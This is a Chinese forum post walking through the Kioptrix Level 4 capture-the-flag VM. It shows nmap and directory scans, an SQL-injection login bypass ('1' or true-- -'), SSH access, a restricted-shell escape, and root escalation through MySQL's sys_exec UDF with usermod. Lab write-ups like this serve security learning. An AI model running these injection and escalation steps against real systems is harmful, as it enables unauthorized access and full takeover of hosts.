Vulnhun靶机-kioptix level 4-sql注入万能暗码拿到权限ssh连接利用mysql-ud ...

打印 上一主题 下一主题

主题 878|帖子 878|积分 2634

一、环境搭建


然后选择靶机所在文件夹

信息收集

本靶机ip和攻击机ip
  1. 攻击机:192.168.108.130
  2. 靶机:192.168.108.141  
复制代码
扫描ip


靶机ip为:192.168.108.141
扫描开放端口


可用信息
  1. 22/tcp  open  ssh               
  2. 80/tcp  open  http
  3. 139/tcp open  netbios-ssn
  4. 445/tcp open  microsoft-ds
复制代码
扫描版本服务信息


可用信息
  1. //端口        //应用层协议     //详细信息
  2. 22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系统ubuntu
  3. 80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
  4. 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  5. 445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
复制代码
指纹探测
  1. nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all
复制代码

可用信息:
  1. Running: Linux 2.6.X
  2. OS CPE: cpe:/o:linux:linux_kernel:2.6
  3. OS details: Linux 2.6.9 - 2.6.33
  4. Samba smbd 3.0.28a
复制代码

目次扫描
  1. dirsearch -u http://192.168.108.141 -e*
  2. dirb http://192.168.108.141
复制代码

可用信息:
  1. http://192.168.108.141/images/                 //图片
  2. http://192.168.108.141/checklogin.php          //检测登录情况
  3. http://192.168.108.141/database.sql            //数据库文件
  4. http://192.168.108.141/index.php               //主页面                                                                                                               
  5. http://192.168.108.141/john/                   //用户john                                                                                                                     
  6. http://192.168.108.141/logout                  //登出                                                                                                              
  7. http://192.168.108.141/member                  //用户个人空间                                                                                                              
  8. http://192.168.108.141/server-status          //常见的用于监控和获取 Web 服务器状态的文件或页面
复制代码
二、Web渗出

访问80端口,一个登录框,尝试弱口令无果

根据信息收集的东西,访问database.sql页面,有三个传参点,id,username,password,以及一个可能是用户名和暗码的消息

尝试后发现不对
sql注入

暗码处报错,存在注入

利用万能暗码尝试
  1. 1' or true-- -  #'将sql语句注释 or ture 添加永真条件 -- -:注释掉后面的 SQL 代码,防止其执行
复制代码

登录查看,发现这是member的页面,查看源码并未有什么有用消息

三、提权

拿到了账号暗码就可以使用ssh连接,这里使用-o HostKeyAlgorithms=+ssh-rsa算法连接,因为靶机只支持该算法
  1. ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141
复制代码
成功登录之后发现让我们输入help或?,输入看看,回显了一部分命令,看来是我们只能使用这些命令举行操纵,这里可能需要使用shell逃逸,即绕过安全限定

可用命令如下
  1. cd  clear  echo  exit  help  ll  lpath  ls
复制代码
找找可用信息,可用看到我们是john用户,有几个可疑文件.bash_history、.bash_logout和.lhistory

查看当前SHELL变量,使用echo $SHELL

成功切换shell,查看当进步程,发现mysql是以root权限举行的

UDF提权

这里我们可用使用UDF提权
  1. 在 MySQL 中,UDF(User Defined Function,用户定义函数)提权是一种利用用户定义函数的漏洞或特性来提升权限的攻击手段。攻击者可以通过创建恶意的用户定义函数来执行任意代码,从而获得更高的权限,甚至可能完全控制数据库服务器
复制代码
查找先前收集的php信息
  1. find / -name *.php 2> /dev/null  #2> /dev/null的意思是将错误信息全部丢弃,/dev/null是一个特殊设备文件,任何写入的设备都会被丢弃
复制代码
查看一下登录检测页面,发现mysql暗码为空,也是挺抽象

连接mysql,成功连接

查看数据库和数据表,有一个可疑文件

看看该表
  1. select * from 'func';
复制代码

修改权限

发现一个sys_exec函数,sys_exec 函数是一个用户界说函数(UDF),它允许执行体系命令并返回命令的输出。这个函数并不是 MySQL 的内置函数,而是通过安装特定的 UDF 扩展来实现的。
修改john为管理员
  1. select sys_exec('usermod -a -G admin john');
复制代码
看看参数的意思

  • usermod 是一个 Linux 命令,用于修改用户账户的属性。
  • -a 选项表示将用户添加到指定的组,而不从其他组中删除。
  • -G admin 指定要将用户添加到的组,这里是 admin 组。
  • john 是要修改的用户名。
exit退出mysql,输入sudo -i即可拿到root权限

这里看看两中切换管理员命令的区别


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

锦通

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表